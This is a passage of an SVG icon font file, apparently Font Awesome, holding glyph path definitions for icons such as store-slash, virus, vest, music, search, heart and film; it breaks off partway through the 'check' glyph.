glyph-name="store-alt-slash" unicode="" horiz-adv-x="640" +d="M17.8896 324.38l88.4707 -68.3799h-74.2607c-25.5898 0 -40.79 28.5 -26.5898 49.7998zM576 34.5801l57.8301 -44.6797c3.76562 -2.92871 6.1709 -7.50781 6.1709 -12.6426c0 -3.69434 -1.25488 -7.09863 -3.36133 -9.80762l-19.6396 -25.2598 +c-2.92773 -3.77539 -7.5127 -6.1875 -12.6553 -6.1875c-3.69727 0 -7.10352 1.25684 -9.81445 3.36719l-588.351 454.72c-3.76562 2.92871 -6.1709 7.50781 -6.1709 12.6426c0 3.69434 1.25488 7.09766 3.36133 9.80762l19.6299 25.2695 +c2.92871 3.76855 7.50879 6.17676 12.6465 6.17676c3.69727 0 7.10254 -1.25684 9.81348 -3.36621l34.6904 -26.8203l10.6592 16c5.71387 8.57715 15.4521 14.2002 26.5215 14.2002h0.0888672h405.18c0.00390625 0 -0.0107422 0.0322266 -0.00683594 0.0322266 +c11.1172 0 20.9248 -5.64941 26.707 -14.2324l85.29 -128c14.1104 -21.2998 -1.08984 -49.7998 -26.5898 -49.7998h-318.48l41.4004 -32h53.0801v-41l128 -99v140h64v-189.42zM320 64v26.8799l64 -49.4697v-73.4102c0 -17.6611 -14.3389 -32 -32 -32h-256 +c-17.6611 0 -32 14.3389 -32 32v256h64v-160h192z" /> + <glyph glyph-name="store-slash" unicode="" horiz-adv-x="640" +d="M121.51 64h226.91l157.33 -128h-414.52c-16.8105 0 -30.4004 14.2998 -30.4004 32v196.8c5.02051 -1.53516 10.2939 -2.76074 15.5801 -3.59961c5.62891 -0.791016 11.2549 -1.19727 17.0996 -1.2002c9.65723 0.157227 19.0283 1.47559 28 3.7998v-99.7998z +M93.5098 192.09c-0.0644531 0 -0.0566406 -0.00390625 -0.121094 -0.00390625c-4.37402 0 -8.67969 0.294922 -12.8984 0.864258c-58.9404 8.46973 -87.0098 81.6094 -56.4902 135l133.51 -108.62c-16.71 -16.5205 -38.8994 -27.2402 -64 -27.2402zM602.13 -10.0898 +c3.59863 -3.04297 5.86719 -7.59961 5.86719 -12.6758c0 -3.6582 -1.1875 -7.04102 -3.19727 -9.78418l-18.6602 -25.2598c-2.66211 -3.74902 -7.04102 -6.17871 -11.9854 -6.17871c-3.54785 0 -6.80469 1.26074 -9.34473 3.3584l-558.939 454.72 +c-3.59863 3.04297 -5.86719 7.59961 -5.86719 12.6758c0 3.6582 1.1875 7.04102 3.19727 9.78418l18.6602 25.2598c2.66016 3.74805 7.03711 6.17676 11.9785 6.17676c3.55176 0 6.81055 -1.26367 9.35156 -3.36621l33.6895 -27.4004l9.38965 15.7803 +c5.16309 8.89941 14.7383 14.8848 25.7305 15h383.81c10.998 -0.109375 20.5781 -6.09668 25.7402 -15l61.6602 -103.6c31.9404 -53.6006 3.59961 -127.99 -56.0596 -136.4c-4.28027 -0.598633 -8.55762 -0.90625 -13 -0.910156c-28.0303 0 -52.9199 13 -70.1104 33.1104 +c-17.1104 -20.1104 -42 -33.1104 -70.1104 -33.1104c-8.83496 0.130859 -17.3857 1.58594 -25.4102 4.14062l137.82 -112.11v79.6797c8.95801 -2.36523 18.3291 -3.6875 28 -3.7998c5.9082 0.00683594 11.5957 0.412109 17.29 1.2002 +c5.31152 0.757812 10.584 1.9873 15.5703 3.59961v-130.21z" /> + <glyph glyph-name="toilet-paper-slash" unicode="" horiz-adv-x="640" +d="M64 256c0 10.8096 0.530273 21.3398 1.41992 31.6699l316 -244.25c-4.17969 -32.2002 -12.8701 -57.7197 -22.1797 -85.5498c-4.19727 -12.7002 -16.1592 -21.8701 -30.2588 -21.8701h-0.121094h-280.86c-8.79395 0.0429688 -15.917 7.19824 -15.917 16.002 +c0 1.74512 0.279297 3.4248 0.796875 4.99805c21.3701 64.1201 31.1201 85.75 31.1201 126.87v172.13zM633.82 -10.0898c3.77148 -2.92871 6.18164 -7.51074 6.18164 -12.6514c0 -3.69531 -1.25488 -7.09863 -3.3623 -9.80859l-19.6396 -25.2598 +c-2.92773 -3.77246 -7.51074 -6.18262 -12.6514 -6.18262c-3.69434 0 -7.09863 1.25488 -9.80859 3.3623l-588.36 454.72c-3.76855 2.92871 -6.17578 7.50879 -6.17578 12.6465c0 3.69727 1.25684 7.10352 3.36621 9.81348l19.6299 25.2598 +c2.92871 3.76855 7.50879 6.17676 12.6465 6.17676c3.69727 0 7.10254 -1.25684 9.81348 -3.36621l53.2803 -41.1504c16.6299 27.7002 37.9297 44.5303 61.2598 44.5303h284.5c-36.8701 -38.5 -60.5 -108.38 -60.5 -192v-73l50.4297 -39 +c-11.4297 31.5996 -18.4297 70 -18.4297 112c0 106 43 192 96 192s96 -86 96 -192c0 -92.3203 -32.7197 -168.91 -76.1797 -187.28zM512 192c17.6201 0 32 28.6299 32 64s-14.3701 64 -32 64s-32 -28.6201 -32 -64s14.3701 -64 32 -64z" /> + <glyph glyph-name="users-slash" unicode="" horiz-adv-x="640" +d="M132.65 235.68c-10.3945 -7.33496 -23.1328 -11.6836 -36.8105 -11.6836c-35.2344 0 -63.8398 28.6055 -63.8398 63.8398v0.164062c0.0615234 7.80859 1.5625 15.3242 4.20996 22.2197zM173.09 173.4c-40.2002 -21.9072 -68.8896 -62.1416 -75.1797 -109.4h-65.9102 +c-17.6611 0 -32 14.3389 -32 32v32c0.0332031 35.3076 28.6924 63.9668 64 64h64c0.0224609 0 0.0537109 0.0078125 0.0771484 0.0078125c17.5605 0 33.4727 -7.11035 45.0127 -18.6074zM544 224c-35.3076 0.0332031 -63.9668 28.6924 -64 64c0 35.3223 28.6777 64 64 64 +s64 -28.6777 64 -64s-28.6777 -64 -64 -64zM500.56 92.8896l133.271 -102.989c3.76562 -2.92871 6.1709 -7.50781 6.1709 -12.6426c0 -3.69434 -1.25488 -7.09863 -3.36133 -9.80762l-19.6396 -25.2705c-2.92773 -3.77051 -7.51074 -6.18066 -12.6504 -6.18066 +c-3.69922 0 -7.1084 1.25879 -9.81934 3.37109l-588.351 454.72c-3.76562 2.92871 -6.1709 7.50781 -6.1709 12.6426c0 3.69434 1.25488 7.09766 3.36133 9.80762l19.6299 25.2695c2.92871 3.76855 7.50879 6.17676 12.6465 6.17676 +c3.69727 0 7.10254 -1.25684 9.81348 -3.36621l163.94 -126.7c6.90918 55.25 53.46 98.0801 110.6 98.0801c0.0234375 0 0.0458984 0.000976562 0.0703125 0.000976562c61.7754 0 111.93 -50.1533 111.93 -111.93v-0.0712891c0 -47.3096 -29.54 -86.9297 -71 -103.23 +l55.0898 -42.5996c37.6797 -6.53711 69.0986 -31.4668 84.4697 -65.2803zM128 44.79c0 59.79 45.7402 108.38 104 114.08l244.57 -189c-3.99707 -1.1582 -8.21582 -1.81152 -12.5703 -1.87012h-288c-26.4922 0 -48 21.5078 -48 48v28.79zM576 192 +c35.3076 -0.0332031 63.9668 -28.6924 64 -64v-32c0 -17.6611 -14.3389 -32 -32 -32h-66c-6.21875 47.2666 -34.8916 87.5146 -75.0898 109.4c11.54 11.4971 27.4609 18.5996 45.0215 18.5996h0.0683594h64z" /> + <glyph glyph-name="virus" unicode="" +d="M483.55 220.45c0.180664 0.00292969 0.332031 0.00488281 0.512695 0.00488281c15.7021 0 28.4502 -12.748 28.4502 -28.4502s-12.748 -28.4502 -28.4502 -28.4502c-0.180664 0 -0.362305 0.00195312 -0.542969 0.00488281h-21.5391 +c-50.6807 0 -76.0703 -61.2793 -40.2305 -97.1191l15.25 -15.2402c4.66602 -5.06836 7.50879 -11.8418 7.50879 -19.2666c0 -15.7021 -12.748 -28.4502 -28.4502 -28.4502c-7.42578 0 -14.1904 2.85059 -19.2588 7.5166l-15.2402 15.2305 +c-35.8398 35.8398 -97.1094 10.4492 -97.1094 -40.2305v-21.5195c0 -15.7021 -12.748 -28.4502 -28.4502 -28.4502s-28.4502 12.748 -28.4502 28.4502v21.5391c0 50.6807 -61.2695 76.0703 -97.1094 40.2305l-15.2402 -15.25 +c-5.06836 -4.66602 -11.8418 -7.50879 -19.2666 -7.50879c-15.7021 0 -28.4502 12.748 -28.4502 28.4502c0 7.42578 2.85059 14.1904 7.5166 19.2588l15.2305 15.2402c35.8398 35.8398 10.4492 97.1191 -40.2305 97.1191h-21.5498 +c-0.180664 -0.00292969 -0.361328 -0.00488281 -0.542969 -0.00488281c-15.7021 0 -28.4502 12.748 -28.4502 28.4502s12.748 28.4502 28.4502 28.4502c0.181641 0 0.362305 -0.00195312 0.542969 -0.00488281h21.5693c50.6807 0 76.0703 61.2695 40.2305 97.1094 +l-15.25 15.25c-4.73047 5.08008 -7.61816 11.8994 -7.61816 19.3818c0 15.6963 12.7432 28.4404 28.4395 28.4404c7.48535 0 14.2988 -2.89844 19.3789 -7.63184l15.2402 -15.2305c35.8398 -35.8291 97.1094 -10.4492 97.1094 40.2305v21.5596 +c0 15.7021 12.748 28.4502 28.4502 28.4502s28.4502 -12.748 28.4502 -28.4502v-21.5498c0 -50.6797 61.2695 -76.0596 97.1094 -40.2295l15.2402 15.2197c5.08008 4.7334 11.9023 7.62305 19.3867 7.62305c15.6963 0 28.4404 -12.7432 28.4404 -28.4395 +c0 -7.48242 -2.89648 -14.2939 -7.62695 -19.374l-15.2305 -15.25c-35.8398 -35.8398 -10.4492 -97.1094 40.2305 -97.1094h21.5498zM224 176c26.4922 0 48 21.5078 48 48s-21.5078 48 -48 48s-48 -21.5078 -48 -48s21.5078 -48 48 -48zM304 120c13.2461 0 24 10.7539 24 24 +s-10.7539 24 -24 24s-24 -10.7539 -24 -24s10.7539 -24 24 -24z" /> + <glyph glyph-name="virus-slash" unicode="" horiz-adv-x="640" +d="M114 220.4c9.90039 0.0996094 19.7002 2.89941 28.0996 8l244.5 -189c-21.1992 -7.5 -38.1992 -26.8008 -38.1992 -53.4004v-21.5c0 -15.7002 -12.7002 -28.4004 -28.4004 -28.4004s-28.5 12.7002 -28.5 28.4004v21.5c0 50.7002 -61.2998 76 -97.0996 40.2002 +l-15.2002 -15.2002c-0.5 -0.599609 -1.10059 -1.09961 -1.60059 -1.59961c-11.5 -10.6006 -29.5996 -9.90039 -40.1992 1.59961c-10.6006 11.5 -9.90039 29.5 1.59961 40.2002l15.2002 15.2998c35.8994 35.7998 10.5 97.0996 -40.2002 97.0996h-21.5996 +c-15.7002 0 -28.4004 12.7002 -28.4004 28.4004s12.7002 28.4004 28.4004 28.4004h21.5996zM617 -57.7998c-5.40039 -7 -15.5 -8.2998 -22.4004 -2.90039l-588.399 454.7c-7 5.5 -8.2002 15.5 -2.7998 22.5l19.5996 25.2998c5.5 7 15.5 8.2002 22.5 2.7998l93.2002 -72.0996 +c11.0996 11.0996 29.3994 11.5996 40.5 0.5l15.2998 -15.2002c35.7998 -35.8994 97.0996 -10.5 97.0996 40.2002v21.5996c0 15.7002 12.7002 28.4004 28.4004 28.4004s28.4004 -12.7002 28.5 -28.5v-21.5996c0 -50.7002 61.2998 -76 97.0996 -40.2002l15.2002 15.2002 +c10.9004 10.0996 27.7002 10.0996 38.6006 0c11.5996 -10.7002 12.2998 -28.7002 1.59961 -40.2002l-15.2002 -15.2998c-35.8994 -35.8008 -10.5 -97.1006 40.2002 -97.1006h21.5c15.7002 0 28.4004 -12.7002 28.4004 -28.3994 +c0 -15.7002 -12.7002 -28.4004 -28.4004 -28.4004h-21.5c-30.5 0 -51.2002 -22.0996 -55.4004 -47.5l163.2 -126c7 -5.5 8.2002 -15.5 2.7998 -22.5zM335.4 220.5c0.0996094 1.2002 0.599609 2.2998 0.5 3.5c0 26.5 -21.5 48 -48 48 +c-5.2002 -0.0996094 -10.5 -1.09961 -15.4004 -2.90039z" /> + <glyph glyph-name="viruses" unicode="" horiz-adv-x="640" +d="M624 96c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16h-12.1201c-28.5098 0 -42.79 -34.4697 -22.6299 -54.6299l8.58008 -8.57031c2.89648 -2.89648 4.68457 -6.90137 4.68457 -11.3174c0 -8.83105 -7.16992 -16.002 -16.002 -16.002 +c-4.41602 0 -8.41602 1.79297 -11.3125 4.68945l-8.57031 8.58008c-20.1602 20.1602 -54.6299 5.87988 -54.6299 -22.6299v-12.1201c0 -8.83105 -7.16895 -16 -16 -16s-16 7.16895 -16 16v12.1201c0 28.5098 -34.4697 42.79 -54.6299 22.6299l-8.57031 -8.58008 +c-2.89648 -2.89648 -6.90137 -4.68457 -11.3174 -4.68457c-8.83105 0 -16.002 7.16992 -16.002 16.002c0 4.41602 1.79297 8.41602 4.68945 11.3125l8.58008 8.57031c20.1602 20.1602 5.87988 54.6299 -22.6299 54.6299h-12.1201c-8.83105 0 -16 7.16895 -16 16 +s7.16895 16 16 16h12.1201c28.5098 0 42.79 34.4697 22.6299 54.6299l-8.58008 8.57031c-2.89648 2.89648 -4.68457 6.90137 -4.68457 11.3174c0 8.83105 7.16992 16.002 16.002 16.002c4.41602 0 8.41602 -1.79297 11.3125 -4.68945l8.57031 -8.58008 +c20.1602 -20.1602 54.6299 -5.87988 54.6299 22.6299v12.1201c0 8.83105 7.16895 16 16 16s16 -7.16895 16 -16v-12.1201c0 -28.5098 34.4697 -42.79 54.6299 -22.6299l8.57031 8.58008c2.89648 2.89648 6.90137 4.68457 11.3174 4.68457 +c8.83105 0 16.002 -7.16992 16.002 -16.002c0 -4.41602 -1.79297 -8.41602 -4.68945 -11.3125l-8.58008 -8.57031c-20.1602 -20.1602 -5.87988 -54.6299 22.6299 -54.6299h12.1201zM480 64c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32s-32 -14.3389 -32 -32 +s14.3389 -32 32 -32zM346.51 234.67c-38.0195 0 -57.0498 -45.96 -30.1699 -72.8398l11.4297 -11.4297c3.8623 -3.8623 6.24609 -9.20117 6.24609 -15.0879c0 -11.7744 -9.55957 -21.334 -21.334 -21.334c-5.88672 0 -11.2197 2.38965 -15.082 6.25195l-11.4297 11.4297 +c-26.8398 26.8799 -72.8398 7.83008 -72.8398 -30.1699v-16.1602c0 -11.7725 -9.55762 -21.3301 -21.3301 -21.3301s-21.3301 9.55762 -21.3301 21.3301v16.1602c0 38.0195 -45.96 57.0498 -72.8398 30.1699l-11.4297 -11.4297 +c-3.8623 -3.8623 -9.20117 -6.24609 -15.0879 -6.24609c-11.7744 0 -21.334 9.55957 -21.334 21.334c0 5.88672 2.38965 11.2197 6.25195 15.082l11.4297 11.4297c26.8799 26.8398 7.83008 72.8398 -30.1699 72.8398h-16.1602c-11.7725 0 -21.3301 9.55762 -21.3301 21.3301 +s9.55762 21.3301 21.3301 21.3301h16.1602c38.0195 0 57.0498 45.96 30.1699 72.8398l-11.4297 11.4404c-3.83008 3.85645 -6.19043 9.17188 -6.19043 15.0312c0 11.7725 9.55762 21.3301 21.3301 21.3301c5.86035 0 11.1729 -2.36914 15.0303 -6.20215l11.4297 -11.4297 +c26.8398 -26.8799 72.8398 -7.83008 72.8398 30.1699v16.1602c0 11.7725 9.55762 21.3301 21.3301 21.3301s21.3301 -9.55762 21.3301 -21.3301v-16.1602c0 -38.0195 45.96 -57.0498 72.8398 -30.1699l11.4297 11.4297c3.85742 3.83301 9.17578 6.19531 15.0361 6.19531 +c11.7725 0 21.3301 -9.55762 21.3301 -21.3291c0 -5.85938 -2.36621 -11.1689 -6.19629 -15.0254l-11.4297 -11.4404c-26.8799 -26.8398 -7.83008 -72.8398 30.1699 -72.8398h16.1602c11.7725 0 21.3301 -9.55762 21.3301 -21.3301s-9.55762 -21.3301 -21.3301 -21.3301 +h-16.1602zM160 256c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32zM240 224c8.83105 0 16 7.16895 16 16s-7.16895 16 -16 16s-16 -7.16895 -16 -16s7.16895 -16 16 -16z" /> + <glyph glyph-name="vest" unicode="" horiz-adv-x="448" +d="M437.252 208.123c6.76562 -10.1484 10.748 -22.3994 10.748 -35.5v-204.623c0 -17.6611 -14.3389 -32 -32 -32h-192v224l73.8115 221.438c-21.7695 -12.3281 -47.0635 -19.5205 -73.8115 -19.6729c-26.748 0.150391 -52.042 7.34277 -73.8115 19.6699l56.9463 -170.836 +l-13.4922 -40.4805c-1.05957 -3.17969 -1.64258 -6.58496 -1.64258 -10.1191v-224h-160c-17.6611 0 -32 14.3389 -32 32v204.623c0 13.1006 3.98242 25.3516 10.748 35.5l53.252 79.877v128c0 17.6611 14.3389 32 32 32h32 +c4.91211 -0.00195312 9.50586 -1.49512 13.3115 -4.03125l25 -16.6719c16.4814 -11.0186 36.4971 -17.4463 57.793 -17.4463s41.1025 6.42773 57.584 17.4463l25 16.6719c3.80566 2.53613 8.39941 4.0293 13.3115 4.03125h32c17.6611 0 32 -14.3389 32 -32v-128z +M131.312 76.6885c2.78125 2.87891 4.48828 6.80078 4.48828 11.1152c0 8.83105 -7.16992 16 -16 16c-4.31445 0 -8.23242 -1.71094 -11.1113 -4.49219l-48 -48c-2.78125 -2.87891 -4.48828 -6.80078 -4.48828 -11.1152c0 -8.83105 7.16992 -16 16 -16 +c4.31445 0 8.23242 1.71094 11.1113 4.49219zM387.312 28.6885c2.89746 2.89453 4.69043 6.89844 4.69043 11.3135s-1.79297 8.41504 -4.69043 11.3096l-48 48c-2.87891 2.78125 -6.80078 4.48828 -11.1152 4.48828c-8.83105 0 -16 -7.16992 -16 -16 +c0 -4.31445 1.71094 -8.23242 4.49219 -11.1113l48 -48c2.89453 -2.89746 6.89844 -4.69043 11.3135 -4.69043s8.41504 1.79297 11.3096 4.69043z" /> + <glyph glyph-name="vest-patches" unicode="" horiz-adv-x="448" +d="M437.252 208.123c6.76562 -10.1484 10.748 -22.3994 10.748 -35.5v-204.623c0 -17.6611 -14.3389 -32 -32 -32h-192v224l73.8105 221.434c-21.7705 -12.3252 -47.0635 -19.5156 -73.8105 -19.668c-26.7471 0.154297 -52.041 7.34668 -73.8115 19.6738l56.9463 -170.84 +l-13.4922 -40.4805c-1.05957 -3.17969 -1.64258 -6.58496 -1.64258 -10.1191v-224h-160c-17.6611 0 -32 14.3389 -32 32v204.623c0 13.1006 3.98242 25.3516 10.748 35.5l53.252 79.877v128c0 17.6611 14.3389 32 32 32h32l0.0283203 -0.0146484 +c4.91113 0 9.47949 -1.47949 13.2832 -4.0166l25 -16.6719c16.4814 -11.0186 36.4971 -17.4463 57.793 -17.4463s41.1025 6.42773 57.584 17.4463l25 16.6719c3.80371 2.53711 8.39551 4.03125 13.3066 4.03125h0.00488281h32c17.6611 0 32 -14.3389 32 -32v-128z +M63.5 175.516l15.5156 -15.5156l-15.5156 -15.5156c-2.12402 -2.16699 -3.43066 -5.1377 -3.43066 -8.4082c0 -6.62891 5.38086 -12.0107 12.0098 -12.0107c3.2793 0 6.25293 1.31738 8.4209 3.4502l15.5 15.5l15.5 -15.5 +c2.16797 -2.13281 5.14551 -3.44629 8.42383 -3.44629c6.62891 0 12.0107 5.38184 12.0107 12.0098c0 3.27051 -1.31055 6.23828 -3.43457 8.40527l-15.5156 15.5156l15.5156 15.5156c2.12402 2.16699 3.43066 5.1377 3.43066 8.4082 +c0 6.62891 -5.38086 12.0107 -12.0098 12.0107c-3.2793 0 -6.25293 -1.31738 -8.4209 -3.4502l-15.5 -15.5l-15.5 15.5c-2.16797 2.13281 -5.14551 3.44629 -8.42383 3.44629c-6.62891 0 -12.0107 -5.38184 -12.0107 -12.0098c0 -3.27051 1.31055 -6.23828 3.43457 -8.40527 +zM96 -8c22.0762 0 40 17.9238 40 40s-17.9238 40 -40 40s-40 -17.9238 -40 -40s17.9238 -40 40 -40zM359.227 112.215c13.6875 0.0966797 24.7734 11.2139 24.7734 24.9229c0 0.757812 -0.0341797 1.50684 -0.0996094 2.24707 +c-1.16406 12.8008 -12.5742 22.1113 -25.4004 22.0762l-5.05078 -0.0371094l0.0371094 5.05762c0.0722656 12.7998 -9.26758 24.2568 -22.0566 25.4189c-0.742188 0.0664062 -1.46973 0.0947266 -2.22949 0.0947266c-13.7012 0 -24.8418 -11.0527 -24.9854 -24.7207 +l-0.214844 -48.5742c0 -0.00976562 -0.000976562 -0.0195312 -0.000976562 -0.0292969c0 -3.68164 2.98926 -6.6709 6.6709 -6.6709h0.0302734z" /> + <glyph glyph-name="glass-martini" unicode="" +d="M502.05 390.4l-214.05 -214.04v-192.36h56c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-240c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h56v192.36l-214.05 214.04c-21.25 21.2598 -6.2002 57.5996 23.8496 57.5996h444.4 +c30.0498 0 45.0996 -36.3398 23.8496 -57.5996z" /> + <glyph glyph-name="music" unicode="" +d="M470.38 446.49c3.03613 0.957031 6.26953 1.47949 9.62012 1.47949c17.6514 0 31.9834 -14.3223 32 -31.9697v-352c0 -35.3496 -43 -64 -96 -64s-96 28.6602 -96 64s43 64 96 64c11.0361 -0.0605469 21.7158 -1.4248 32 -3.92969v184.609l-256 -75v-233.68 +c0 -35.3398 -43 -64 -96 -64s-96 28.6602 -96 64s43 64 96 64c11.0352 -0.0625 21.7139 -1.42285 32 -3.91992v261.41c0.00878906 14.3125 9.43359 26.4336 22.4102 30.5098z" /> + <glyph glyph-name="search" unicode="" +d="M505 5.2998c9.2998 -9.39941 9.2998 -24.5996 -0.0996094 -34l-28.3008 -28.2998c-9.2998 -9.40039 -24.5 -9.40039 -33.8994 0l-99.7002 99.7002c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.7002 -44 -128 -44c-114.9 0 -208 93.0996 -208 208 +s93.0996 208 208 208s208 -93.0996 208 -208c0 -48.2998 -16.4004 -92.7002 -44 -128h16.2998c6.40039 0 12.5 -2.5 17 -7zM208 112c70.7998 0 128 57.2998 128 128c0 70.7998 -57.2998 128 -128 128c-70.7998 0 -128 -57.2998 -128 -128c0 -70.7998 57.2998 -128 128 -128z +" /> + <glyph glyph-name="heart" unicode="" +d="M462.3 385.4c62.7998 -53.6006 66.1006 -149.801 9.7998 -207.9l-193.5 -199.8c-12.5 -12.9004 -32.7998 -12.9004 -45.2998 0l-193.5 199.8c-56.2002 58.0996 -52.8994 154.3 9.90039 207.9c54.7998 46.6992 136.399 38.2998 186.6 -13.6006l19.7002 -20.2998 +l19.7002 20.2998c50.2998 51.9004 131.8 60.2998 186.6 13.6006z" /> + <glyph glyph-name="star" unicode="" horiz-adv-x="576" +d="M259.3 430.2c11.7998 23.8994 45.7002 23.5996 57.4004 0l65.2998 -132.4l146.1 -21.2998c26.2002 -3.7998 36.7002 -36.0996 17.7002 -54.5996l-105.7 -103l25 -145.5c4.5 -26.3008 -23.1992 -45.9004 -46.3994 -33.7002l-130.7 68.7002l-130.7 -68.7002 +c-23.2002 -12.2998 -50.8994 7.39941 -46.3994 33.7002l25 145.5l-105.7 103c-19 18.5 -8.5 50.7998 17.7002 54.5996l146.1 21.2998z" /> + <glyph glyph-name="user" unicode="" horiz-adv-x="448" +d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996 +c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992z" /> + <glyph glyph-name="film" unicode="" +d="M488 384c13.2998 0 24 -10.7002 24 -24v-336c0 -13.2998 -10.7002 -24 -24 -24h-8v20c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-20h-320v20c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-20h-8 +c-13.2998 0 -24 10.7002 -24 24v336c0 13.2998 10.7002 24 24 24h8v-20c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v20h320v-20c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v20h8zM96 76v40c0 6.59961 -5.40039 12 -12 12h-40 +c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM96 172v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM96 268v40 +c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM368 60v96c0 6.59961 -5.40039 12 -12 12h-200c-6.59961 0 -12 -5.40039 -12 -12v-96c0 -6.59961 5.40039 -12 12 -12h200 +c6.59961 0 12 5.40039 12 12zM368 228v96c0 6.59961 -5.40039 12 -12 12h-200c-6.59961 0 -12 -5.40039 -12 -12v-96c0 -6.59961 5.40039 -12 12 -12h200c6.59961 0 12 5.40039 12 12zM480 76v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40 +c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM480 172v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM480 268v40c0 6.59961 -5.40039 12 -12 12h-40 +c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12z" /> + <glyph glyph-name="th-large" unicode="" +d="M296 416h192c13.2549 0 24 -10.7451 24 -24v-160c0 -13.2549 -10.7451 -24 -24 -24h-192c-13.2549 0 -24 10.7451 -24 24v160c0 13.2549 10.7451 24 24 24zM216 416c13.2549 0 24 -10.7451 24 -24v-160c0 -13.2549 -10.7451 -24 -24 -24h-192 +c-13.2549 0 -24 10.7451 -24 24v160c0 13.2549 10.7451 24 24 24h192zM0 152c0 13.2549 10.7451 24 24 24h192c13.2549 0 24 -10.7451 24 -24v-160c0 -13.2549 -10.7451 -24 -24 -24h-192c-13.2549 0 -24 10.7451 -24 24v160zM296 -32c-13.2549 0 -24 10.7451 -24 24v160 +c0 13.2549 10.7451 24 24 24h192c13.2549 0 24 -10.7451 24 -24v-160c0 -13.2549 -10.7451 -24 -24 -24h-192z" /> + <glyph glyph-name="th" unicode="" +d="M149.333 392v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24zM330.667 152c0 -13.2549 -10.7451 -24 -24.001 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80 +c0 13.2549 10.7451 24 24 24h101.334c13.2549 0 24 -10.7451 24 -24v-80zM362.667 392c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80zM330.667 312 +c0 -13.2549 -10.7451 -24 -24.001 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.334c13.2549 0 24 -10.7451 24 -24v-80zM125.333 256c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333 +c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333zM0 72c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80zM386.667 128 +c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333zM386.667 -32c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24 +v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333zM181.333 72c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80z" /> + <glyph glyph-name="th-list" unicode="" +d="M149.333 232v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24zM0 72c0 13.2549 10.7451 24 24 24h101.333c13.2549 0 24 -10.7451 24 -24v-80 +c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80zM125.333 416c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-101.333c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h101.333zM205.333 -32 +c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h282.667c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-282.667zM181.333 392c0 13.2549 10.7451 24 24 24h282.667c13.2549 0 24 -10.7451 24 -24v-80 +c0 -13.2549 -10.7451 -24 -24 -24h-282.667c-13.2549 0 -24 10.7451 -24 24v80zM205.333 128c-13.2549 0 -24 10.7451 -24 24v80c0 13.2549 10.7451 24 24 24h282.667c13.2549 0 24 -10.7451 24 -24v-80c0 -13.2549 -10.7451 -24 -24 -24h-282.667z" /> + <glyph glyph-name="check" unicode="" +d="M173.898 8.5957l-166.4 